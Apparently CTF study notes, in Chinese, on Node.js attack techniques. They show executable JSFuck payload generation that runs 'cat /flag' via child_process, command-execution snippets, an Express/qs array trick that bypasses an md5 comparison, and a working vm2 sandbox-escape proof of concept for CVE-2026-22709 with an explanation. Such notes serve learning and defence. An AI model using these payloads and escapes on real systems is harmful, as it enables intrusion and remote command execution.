

## jsfuck编码有两种

1. 不可执行jsfuck编码，用js执行后只是字符串
2. 可执行jsfuck编码，用js执行后可以执行命令  
可执行jsfuck编码是利用了每个对象都有的  
`constructor`，伪代码的结构是`[]["flat"]`  
`["constructor"]( "alert(1)" )()`  
而`[]["flat"]["constructor"]`为Function对象，相当于是`Function("alert(1)")()`

```
//生成可执行jsfuck
// 先安装 jsfuck: pnpm install jsfuck
const JSFuck = require("jsfuck").JSFuck;

// payload
const code = "return
process.mainModule.require('child_process')
.execSync('cat /flag').toString()";

// true 表示生成“执行这段代码”的 JSFuck
// false 表示生成“这段代码的字符串”的 JSFuck
const payload = JSFuck.encode(code, true);

console.log(payload);
```

Node.js 中，`NODE_OPTIONS` 是一个极其强大的环境变量。它允许你预定义**命令行参数**。其中 `-r` (或 `--require`) 参数可以在脚本运行前**预加载**一个模块，如果直接加载非js文件会直接报错，错误学习会包含文件内容

## child\_process模块

node每运行一个js文件，会封装成一个Module对象，`mainModule`为最先启动的模块

```
global.process.mainModule.constructor._load  
('child_process').exec('calc')  
globalThis.process  
process
```

```
process.mainModule.require('child_process')  
//cjs可用
```

execSync

```
execSync('whoami').toString()
```

```
exec('whoami', (a, b, c) =>  
{console.log(a, b, c)})
```

spawnSync

```
spawnSync('ls', ['/']).stdout.toString()
```

## 绕过

转字符绕过:

```
?a[]=a&b=a //['a']+flag= == 'a'+flag
```

```
a[]=a&b[]=a
```

常见 Express/qs 解析后会变成:

```
a = ['a']
```

```
b = ['a']
```

于是:

- a && b 

- a.length === b.length → 1 === 1 

- `a !== b` → 两个不同数组对象，虽然内容一样，但引用不同 ✓
- `a + flag` → 数组转字符串，变成 `"a" + flag`
- `b + flag` → 也是 `"a" + flag`
- 所以 `md5(a + flag) === md5(b + flag)` ✓

## globalPromise.catch 沙箱逃逸-CVE-2026-22709

```
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(

        "process.mainModule.require('child_process'
        ).execSync('echo HELLO WORLD!', { stdio:
        'inherit' })"
    );
    f();
});
```

```
});
```

## 1. async 函数返回的是 globalPromise

官方 advisory 说, vm2 对

localPromise.prototype.then 的回调做了处理, 但 globalPromise.prototype.then/catch 没处理好。

所以 async 返回的那个 Promise 成了突破口。

来源: GitHub Advisory / GitLab Advisory

<https://github.com/advisories/GHSA-99p7-6v5w-7xg8>

<https://advisories.gitlab.com/npm/vm2/CVE-2026-22709/>

## 2. error.name = Symbol() + 访问 error.stack

这是在故意制造一个“异常路径”。

这里的利用点是: 在生成/处理栈信息时, 会抛出一个宿主侧异常对象。

这一点从 exploit 行为可以推出来; advisory 给了几乎同样的 PoC。

## 3. p.catch(e => ...) 拿到的是宿主异常

因为 Promise 回调清洗有缺口, catch 里的 e 没被正确隔离。

## 4. e.constructor.constructor 拿到宿主 Function

- e.constructor → 宿主 Error
- e.constructor.constructor → 宿主

Function

## 5. 用宿主 Function 取 process

```
e.constructor.constructor('return  
process')()
```

一旦拿到 `process`，就能  
`require('child_process')` 执行系统命令，完成逃  
逸。